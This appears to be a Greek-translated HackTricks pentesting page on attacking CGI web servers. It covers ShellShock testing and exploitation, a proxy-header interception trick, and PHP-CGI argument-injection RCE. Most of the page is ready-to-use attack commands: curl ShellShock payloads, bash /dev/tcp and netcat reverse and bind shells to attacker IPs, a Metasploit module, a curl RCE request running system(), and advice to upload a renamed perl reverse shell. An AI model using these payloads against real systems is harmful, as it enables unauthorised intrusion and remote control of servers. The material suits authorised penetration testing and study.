CGI

Support HackTricks

Πληροφορίες

Τα CGI scripts είναι perl scripts, οπότε, αν έχετε παραβιάσει έναν διακομιστή που μπορεί να εκτελεί .cgi scripts μπορείτε να ανεβάσετε ένα perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), να αλλάξετε την επέκταση από .pl σε .cgi, να δώσετε δικαιώματα εκτέλεσης (chmod +x) και να πρόσβαση στο reverse shell από τον web browser για να το εκτελέσετε. Για να δοκιμάσετε για CGI vulns συνιστάται να χρησιμοποιήσετε nikto -C all (και όλα τα plugins)

ShellShock

ShellShock είναι μια ευπάθεια που επηρεάζει το ευρέως χρησιμοποιούμενο Bash command-line shell σε λειτουργικά συστήματα βασισμένα σε Unix. Στοχεύει στην ικανότητα του Bash να εκτελεί εντολές που περνούν από εφαρμογές. Η ευπάθεια έγκειται στη χειραγώγηση των μεταβλητών περιβάλλοντος, οι οποίες είναι δυναμικές ονομαστικές τιμές που επηρεάζουν το πώς εκτελούνται οι διαδικασίες σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσ attaching κακόβουλο κώδικα σε μεταβλητές περιβάλλοντος, ο οποίος εκτελείται μόλις ληφθεί η μεταβλητή. Αυτό επιτρέπει στους επιτιθέμενους να παραβιάσουν δυνητικά το σύστημα.

Εκμεταλλευόμενοι αυτή την ευπάθεια, η σελίδα θα μπορούσε να ρίξει ένα σφάλμα.

Μπορείτε να βρείτε αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια παλιά έκδοση Apache και cgi_mod (με φάκελο cgi) ή χρησιμοποιώντας nikto.

Δοκιμή

Οι περισσότερες δοκιμές βασίζονται στο να εκτυπώνουν κάτι και να περιμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην απάντηση του web. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις σελίδες cgi και δοκιμάστε τις.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (αντανάκλαση, τυφλό και εκτός ζώνης)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Εκμετάλλευση

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM to Web server requests)

CGI δημιουργεί μια μεταβλητή περιβάλλοντος για κάθε κεφαλίδα στην http αίτηση. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com"

Καθώς η μεταβλητή HTTP_PROXY θα μπορούσε να χρησιμοποιηθεί από τον web server. Προσπαθήστε να στείλετε μια κεφαλίδα που περιέχει: "Proxy: <IP_attacker>:<PORT>" και αν ο server εκτελεί οποιαδήποτε αίτηση κατά τη διάρκεια της συνεδρίας. Θα είστε σε θέση να καταγράψετε κάθε αίτηση που γίνεται από τον server.

Old PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Βασικά, αν το cgi είναι ενεργό και το php είναι "παλιό" (<5.3.12 / < 5.4.2) μπορείτε να εκτελέσετε κώδικα. Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να αποκτήσετε πρόσβαση σε κάποιο αρχείο PHP του web server χωρίς να στείλετε παραμέτρους (ειδικά χωρίς να στείλετε τον χαρακτήρα "="). Στη συνέχεια, για να δοκιμάσετε αυτήν την ευπάθεια, μπορείτε να αποκτήσετε πρόσβαση για παράδειγμα στο /index.php?-s (σημειώστε το -s) και ο πηγαίος κώδικας της εφαρμογής θα εμφανιστεί στην απάντηση.

Στη συνέχεια, για να αποκτήσετε RCE μπορείτε να στείλετε αυτήν την ειδική ερώτηση: /?-d allow_url_include=1 -d auto_prepend_file=php://input και ο PHP κώδικας να εκτελείται στο σώμα της αίτησης. Παράδειγμα:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Περισσότερες πληροφορίες σχετικά με την ευπάθεια και τις πιθανές εκμεταλλεύσεις: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Υποστήριξη HackTricks

Last updated